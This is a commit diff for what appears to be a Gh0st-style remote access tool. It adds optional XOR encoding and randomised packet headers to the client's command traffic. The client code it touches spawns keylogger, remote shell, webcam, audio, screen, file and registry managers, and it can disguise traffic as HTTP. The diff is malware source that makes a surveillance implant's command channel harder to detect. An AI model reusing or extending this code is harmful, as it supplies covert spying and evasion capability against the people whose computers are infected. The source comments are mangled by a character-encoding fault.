Feature: Add encryption option for client building
This commit is contained in:
@@ -13,7 +13,7 @@
|
|||||||
// Զ<>̵<EFBFBD>ַ
|
// Զ<>̵<EFBFBD>ַ
|
||||||
CONNECT_ADDRESS g_SETTINGS = {
|
CONNECT_ADDRESS g_SETTINGS = {
|
||||||
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||||
FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
|
FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_TCP, RUNNING_RANDOM,
|
||||||
};
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||||
|
|||||||
@@ -96,12 +96,14 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask) : g_bExit(bExit)
|
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask, int encoder) : g_bExit(bExit)
|
||||||
{
|
{
|
||||||
m_ServerAddr = {};
|
m_ServerAddr = {};
|
||||||
m_nHostPort = 0;
|
m_nHostPort = 0;
|
||||||
m_Manager = NULL;
|
m_Manager = NULL;
|
||||||
m_masker = mask ? new HttpMask("example.com") : new PkgMask();
|
m_masker = mask ? new HttpMask("example.com") : new PkgMask();
|
||||||
|
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||||
|
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
WSADATA wsaData;
|
WSADATA wsaData;
|
||||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
@@ -111,9 +113,6 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask) : g_bE
|
|||||||
m_hWorkThread = NULL;
|
m_hWorkThread = NULL;
|
||||||
m_bWorkThread = S_STOP;
|
m_bWorkThread = S_STOP;
|
||||||
|
|
||||||
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
|
|
||||||
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
|
|
||||||
|
|
||||||
m_bIsRunning = TRUE;
|
m_bIsRunning = TRUE;
|
||||||
m_bConnected = FALSE;
|
m_bConnected = FALSE;
|
||||||
|
|
||||||
@@ -149,6 +148,7 @@ IOCPClient::~IOCPClient()
|
|||||||
ZSTD_freeDCtx(m_Dctx);
|
ZSTD_freeDCtx(m_Dctx);
|
||||||
#endif
|
#endif
|
||||||
m_masker->Destroy();
|
m_masker->Destroy();
|
||||||
|
SAFE_DELETE(m_Encoder);
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||||
@@ -361,6 +361,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
assert (ulLength > 0);
|
assert (ulLength > 0);
|
||||||
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
|
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||||
|
int FLAG_LENGTH = m_Encoder->GetFlagLen();
|
||||||
|
int HDR_LENGTH = m_Encoder->GetHeadLen();
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
||||||
@@ -373,12 +375,13 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
if (m_CompressedBuffer.GetBufferLength() <= HDR_LENGTH)
|
if (m_CompressedBuffer.GetBufferLength() <= HDR_LENGTH)
|
||||||
break;
|
break;
|
||||||
|
|
||||||
char szPacketFlag[FLAG_LENGTH + 3] = {0};
|
char szPacketFlag[32] = {0};
|
||||||
src = (char*)m_CompressedBuffer.GetBuffer();
|
src = (char*)m_CompressedBuffer.GetBuffer();
|
||||||
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
||||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
HeaderEncType encType = HeaderEncUnknown;
|
||||||
{
|
FlagType flagType = CheckHead(szPacketFlag, encType);
|
||||||
|
if (flagType == FLAG_UNKNOWN) {
|
||||||
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
|
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
|
||||||
m_CompressedBuffer.ClearBuffer();
|
m_CompressedBuffer.ClearBuffer();
|
||||||
break;
|
break;
|
||||||
@@ -404,7 +407,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
|
PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
|
||||||
|
|
||||||
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||||
|
m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag);
|
||||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||||
|
|
||||||
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
||||||
@@ -468,10 +471,11 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
#if !USING_ZLIB
|
#if !USING_ZLIB
|
||||||
ulCompressedLength = iRet;
|
ulCompressedLength = iRet;
|
||||||
#endif
|
#endif
|
||||||
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen();
|
||||||
CBuffer m_WriteBuffer;
|
CBuffer m_WriteBuffer;
|
||||||
|
HeaderFlag H = m_Encoder->GetHead();
|
||||||
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
|
m_Encoder->Encode(CompressedBuffer, ulCompressedLength, (LPBYTE)H.data());
|
||||||
|
m_WriteBuffer.WriteBuffer((PBYTE)H.data(), m_Encoder->GetFlagLen());
|
||||||
|
|
||||||
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
|
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
|
||||||
|
|
||||||
|
|||||||
@@ -15,16 +15,63 @@
|
|||||||
#include "zstd/zstd.h"
|
#include "zstd/zstd.h"
|
||||||
#include "domain_pool.h"
|
#include "domain_pool.h"
|
||||||
#include "common/mask.h"
|
#include "common/mask.h"
|
||||||
|
#include "common/header.h"
|
||||||
|
#define NO_AES
|
||||||
|
#include "common/encrypt.h"
|
||||||
|
|
||||||
#define MAX_RECV_BUFFER 1024*32
|
#define MAX_RECV_BUFFER 1024*32
|
||||||
#define MAX_SEND_BUFFER 1024*32
|
#define MAX_SEND_BUFFER 1024*32
|
||||||
#define FLAG_LENGTH 5
|
|
||||||
#define HDR_LENGTH 13
|
|
||||||
|
|
||||||
enum { S_STOP = 0, S_RUN, S_END };
|
enum { S_STOP = 0, S_RUN, S_END };
|
||||||
|
|
||||||
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
|
||||||
|
class ProtocolEncoder {
|
||||||
|
public:
|
||||||
|
virtual ~ProtocolEncoder(){}
|
||||||
|
virtual HeaderFlag GetHead() const {
|
||||||
|
return "Shine";
|
||||||
|
}
|
||||||
|
virtual int GetHeadLen() const {
|
||||||
|
return 13;
|
||||||
|
}
|
||||||
|
virtual int GetFlagLen() const {
|
||||||
|
return 5;
|
||||||
|
}
|
||||||
|
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||||
|
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||||
|
};
|
||||||
|
|
||||||
|
class HellEncoder : public ProtocolEncoder {
|
||||||
|
private:
|
||||||
|
EncFun m_HeaderEnc;
|
||||||
|
Encoder *m_BodyEnc;
|
||||||
|
public:
|
||||||
|
HellEncoder(EncFun head, Encoder *body) {
|
||||||
|
m_HeaderEnc = head;
|
||||||
|
m_BodyEnc = body;
|
||||||
|
}
|
||||||
|
~HellEncoder() {
|
||||||
|
SAFE_DELETE(m_BodyEnc);
|
||||||
|
}
|
||||||
|
virtual HeaderFlag GetHead() const override {
|
||||||
|
return ::GetHead(m_HeaderEnc);
|
||||||
|
}
|
||||||
|
virtual int GetHeadLen() const override {
|
||||||
|
return 16;
|
||||||
|
}
|
||||||
|
virtual int GetFlagLen() const override {
|
||||||
|
return 8;
|
||||||
|
}
|
||||||
|
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) override {
|
||||||
|
return m_BodyEnc->Encode(data, len, param);
|
||||||
|
}
|
||||||
|
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override {
|
||||||
|
return m_BodyEnc->Decode(data, len, param);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
class IOCPManager {
|
class IOCPManager {
|
||||||
public:
|
public:
|
||||||
virtual ~IOCPManager() {}
|
virtual ~IOCPManager() {}
|
||||||
@@ -57,7 +104,7 @@ public:
|
|||||||
class IOCPClient
|
class IOCPClient
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
IOCPClient(State& bExit, bool exit_while_disconnect = false, int mask=0);
|
IOCPClient(State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0);
|
||||||
virtual ~IOCPClient();
|
virtual ~IOCPClient();
|
||||||
|
|
||||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||||
@@ -114,7 +161,6 @@ protected:
|
|||||||
|
|
||||||
protected:
|
protected:
|
||||||
sockaddr_in m_ServerAddr;
|
sockaddr_in m_ServerAddr;
|
||||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
|
||||||
SOCKET m_sClientSocket;
|
SOCKET m_sClientSocket;
|
||||||
CBuffer m_CompressedBuffer;
|
CBuffer m_CompressedBuffer;
|
||||||
BOOL m_bWorkThread;
|
BOOL m_bWorkThread;
|
||||||
@@ -130,6 +176,7 @@ protected:
|
|||||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ProtocolEncoder* m_Encoder; // <20><><EFBFBD><EFBFBD>
|
||||||
DomainPool m_Domain;
|
DomainPool m_Domain;
|
||||||
std::string m_sCurIP;
|
std::string m_sCurIP;
|
||||||
int m_nHostPort;
|
int m_nHostPort;
|
||||||
|
|||||||
@@ -18,18 +18,18 @@
|
|||||||
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
||||||
if (conn->protoType == PROTO_TCP)
|
if (conn->protoType == PROTO_TCP)
|
||||||
return new IOCPClient(bExit, exit_while_disconnect);
|
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->iHeaderEnc);
|
||||||
if (conn->protoType == PROTO_UDP)
|
if (conn->protoType == PROTO_UDP)
|
||||||
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
||||||
if (conn->protoType == PROTO_HTTP)
|
if (conn->protoType == PROTO_HTTP)
|
||||||
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP);
|
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->iHeaderEnc);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
||||||
static ThreadInfo tKeyboard;
|
static ThreadInfo tKeyboard;
|
||||||
tKeyboard.run = FOREVER_RUN;
|
tKeyboard.run = FOREVER_RUN;
|
||||||
tKeyboard.p = new IOCPClient(bExit, false);
|
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->iHeaderEnc);
|
||||||
tKeyboard.conn = conn;
|
tKeyboard.conn = conn;
|
||||||
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
||||||
return &tKeyboard;
|
return &tKeyboard;
|
||||||
@@ -303,7 +303,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_PROXY: {
|
case COMMAND_PROXY: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -342,7 +342,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (m_hKeyboard) {
|
if (m_hKeyboard) {
|
||||||
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
} else {
|
} else {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -350,7 +350,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_TALK:
|
case COMMAND_TALK:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
@@ -358,21 +358,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_SHELL:
|
case COMMAND_SHELL:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -400,7 +400,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (ulLength > 1) {
|
if (ulLength > 1) {
|
||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
}
|
}
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount].user = user;
|
m_hThread[m_ulThreadCount].user = user;
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
@@ -408,35 +408,35 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_LIST_DRIVE :
|
case COMMAND_LIST_DRIVE :
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WEBCAM:
|
case COMMAND_WEBCAM:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_AUDIO:
|
case COMMAND_AUDIO:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_REGEDIT:
|
case COMMAND_REGEDIT:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SERVICES:
|
case COMMAND_SERVICES:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -548,6 +548,11 @@ enum RunningType {
|
|||||||
RUNNING_PARALLEL = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
RUNNING_PARALLEL = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
};
|
};
|
||||||
|
|
||||||
|
enum ProtocolEncType {
|
||||||
|
PROTOCOL_SHINE = 0,
|
||||||
|
PROTOCOL_HELL = 1,
|
||||||
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
typedef struct CONNECT_ADDRESS
|
typedef struct CONNECT_ADDRESS
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -50,10 +50,17 @@ public:
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
virtual void SetServer(const char* addr) {}
|
virtual void SetServer(const char* addr) {}
|
||||||
|
virtual PkgMaskType GetMaskType() const {
|
||||||
|
return MaskTypeNone;
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
class HttpMask : public PkgMask {
|
class HttpMask : public PkgMask {
|
||||||
public:
|
public:
|
||||||
|
virtual PkgMaskType GetMaskType() const override {
|
||||||
|
return MaskTypeHTTP;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief 构造函数
|
* @brief 构造函数
|
||||||
* @param host HTTP Host 头字段
|
* @param host HTTP Host 头字段
|
||||||
|
|||||||
Binary file not shown.
@@ -2735,15 +2735,20 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
CString res[RES_MAX];
|
CString res[RES_MAX];
|
||||||
CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
||||||
ctx->GetAdditionalData(res);
|
ctx->GetAdditionalData(res);
|
||||||
|
FlagType type = ctx->GetFlagType();
|
||||||
|
static std::map<FlagType, std::string> typMap = {
|
||||||
|
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
|
||||||
|
{FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
|
||||||
|
};
|
||||||
|
|
||||||
// 拼接内容
|
// 拼接内容
|
||||||
CString strText;
|
CString strText;
|
||||||
std::string expired = res[RES_EXPIRED_DATE];
|
std::string expired = res[RES_EXPIRED_DATE];
|
||||||
expired = expired.empty() ? "" : " Expired on " + expired;
|
